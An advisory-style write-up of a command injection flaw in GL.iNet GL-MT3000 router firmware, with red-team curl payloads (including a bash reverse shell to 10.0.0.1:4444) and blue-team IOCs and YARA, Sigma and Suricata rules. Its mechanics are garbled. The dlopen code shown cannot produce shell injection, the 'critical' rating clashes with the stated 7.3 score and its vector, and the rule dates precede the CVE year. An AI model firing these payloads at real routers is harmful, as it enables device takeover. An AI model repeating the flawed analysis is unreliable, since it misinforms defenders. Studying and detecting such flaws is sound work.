CVE-2026-11450

Executive Summary

CVE-2026-11450 is a critical command injection vulnerability in GL.iNet GL-MT3000 routers running firmware version 4.4.5. The flaw resides in the dlopen function within the /usr/lib/oui-httpd/rpc/ library, specifically in the Path Normalization Handler. By manipulating the dev_name argument, an unauthenticated remote attacker can inject arbitrary operating system commands. The vendor has confirmed the vulnerability and released a fix in version 4.7, which removes the vulnerable eject_disk method from the RPC whitelist and enforces method-level validation. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the public availability of the vulnerability details makes it a high-priority target for threat actors.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Denial of service or full control.

Threat Level: Critical. The combination of remote exploitation, no authentication, and full system compromise makes this a severe threat. Although EPSS is low, the public disclosure and ease of exploitation increase the risk.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the GL.iNet router's RPC (Remote Procedure Call) interface. The affected component is the Path Normalization Handler within the /usr/lib/oui-httpd/rpc/ library. The dlopen function is used to dynamically load libraries based on user-supplied input. The dev_name argument is passed to dlopen without proper sanitization, allowing an attacker to inject shell metacharacters (e.g., ;, |, `) that are interpreted by the underlying shell.

The vulnerable code path is triggered via the eject_disk RPC method. When a request is made to /rpc with the method eject_disk, the router attempts to normalize the path and load a library using the dev_name parameter. An attacker can craft a malicious dev_name value that includes command injection payloads, leading to arbitrary code execution with root privileges.

The vendor's fix in version 4.7 removes eject_disk from the allowed methods whitelist and adds validation at the HTTP/RPC layer. This prevents the vulnerable function from being called at all, effectively blocking the exploit chain.

Vulnerable vs. Patched Code

Vulnerable Code (version 4.4.5):

// Simplified representation of the vulnerable code
void handle_eject_disk(const char *dev_name) {
    char path[256];
    snprintf(path, sizeof(path), "/usr/lib/oui-httpd/rpc/%s", dev_name);
    void *handle = dlopen(path, RTLD_LAZY);
    if (handle) {
        // Execute function from loaded library
    }
}

The dev_name is directly concatenated into the path without sanitization, allowing injection.

Patched Code (version 4.7):

# Simplified representation of the patched RPC layer
ALLOWED_METHODS = ["get_status", "set_config", ...]  # eject_disk removed

def handle_rpc(method, params):
    if method not in ALLOWED_METHODS:
        return {"error": "Invalid params"}
    # Proceed with validated method

The eject_disk method is no longer in the whitelist, so the vulnerable code path is never reached.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: GL.iNet GL-MT3000 running firmware 4.4.5
• Network access to the router's web interface (typically port 80 or 443)

Exploit Steps:

1. Identify the target router's IP address.
2. Send a crafted HTTP POST request to /rpc with the method eject_disk and a malicious dev_name parameter.

Example Payload:

curl -X POST http://<target_ip>/rpc \
  -H "Content-Type: application/json" \
  -d '{"method":"eject_disk","params":{"dev_name":";id > /tmp/pwned; "}}'

This payload executes the id command and writes the output to /tmp/pwned.

Advanced Payload (Reverse Shell):

curl -X POST http://<target_ip>/rpc \
  -H "Content-Type: application/json" \
  -d '{"method":"eject_disk","params":{"dev_name":";bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; "}}'

Blue Team (Detection & Defense)

Detection Steps:

1. Monitor HTTP POST requests to /rpc with method eject_disk.
2. Look for suspicious characters in the dev_name parameter (e.g., ;, |, &, `).
3. Check for unexpected processes spawned by the oui-httpd daemon.

Defense Measures:

1. Immediately upgrade to firmware version 4.7 or later.
2. If upgrade is not possible, block access to the /rpc endpoint from untrusted networks.
3. Implement a Web Application Firewall (WAF) rule to filter malicious payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /rpc with method eject_disk
• Unusual characters in the dev_name parameter (e.g., ;, |, &, `)
• Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444, 1337)

File System IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/pwned, /tmp/.backdoor)
• Modified system binaries in /usr/bin/ or /usr/sbin/
• New entries in /etc/cron.d/ or /etc/init.d/

Process IOCs:

• Unusual child processes spawned by oui-httpd (e.g., bash, sh, nc, python)
• Processes running with root privileges that are not part of the normal firmware

Detection Engineering

YARA Rule

rule CVE_2026_11450_GLiNet_RCE {
    meta:
        description = "Detects command injection attempts targeting CVE-2026-11450 in GL.iNet routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-11450"
    strings:
        $rpc_method = "eject_disk"
        $shell_chars = /[;|&`$(){}]/
    condition:
        $rpc_method and #shell_chars > 0
}

Sigma Rule

title: GL.iNet RPC Command Injection Attempt
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests to /rpc with method eject_disk and suspicious characters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/rpc'
        cs-uri-query|contains: 'eject_disk'
        cs-uri-query|re: '.*[;|&`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in device names (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-11450 GL.iNet RPC Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/rpc"; http_uri;
    content:"eject_disk"; http_client_body;
    pcre:"/[;|&`$(){}]/Ri";
    reference:cve,2026-11450;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all GL.iNet GL-MT3000 routers to firmware version 4.7 or later.
2. If upgrade is not possible, restrict access to the router's web interface to trusted IP addresses only.
3. Monitor logs for any exploitation attempts.

Long-term Measures:

1. Implement network segmentation to isolate IoT devices.
2. Regularly update firmware and apply security patches.
3. Use a Web Application Firewall (WAF) to filter malicious requests.
4. Conduct regular vulnerability scans and penetration testing.

Vendor Confirmation: The vendor states: "From version 4.7 onward, we have enabled method-level validation at the HTTP /rpc layer. nas-web.eject_disk is no longer in the whitelist of allowed methods. Consequently, directly calling eject_disk through the default /rpc endpoint returns Invalid params, preventing entry into subsequent dangerous functions and blocking the remote exploit chain described in the report."

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert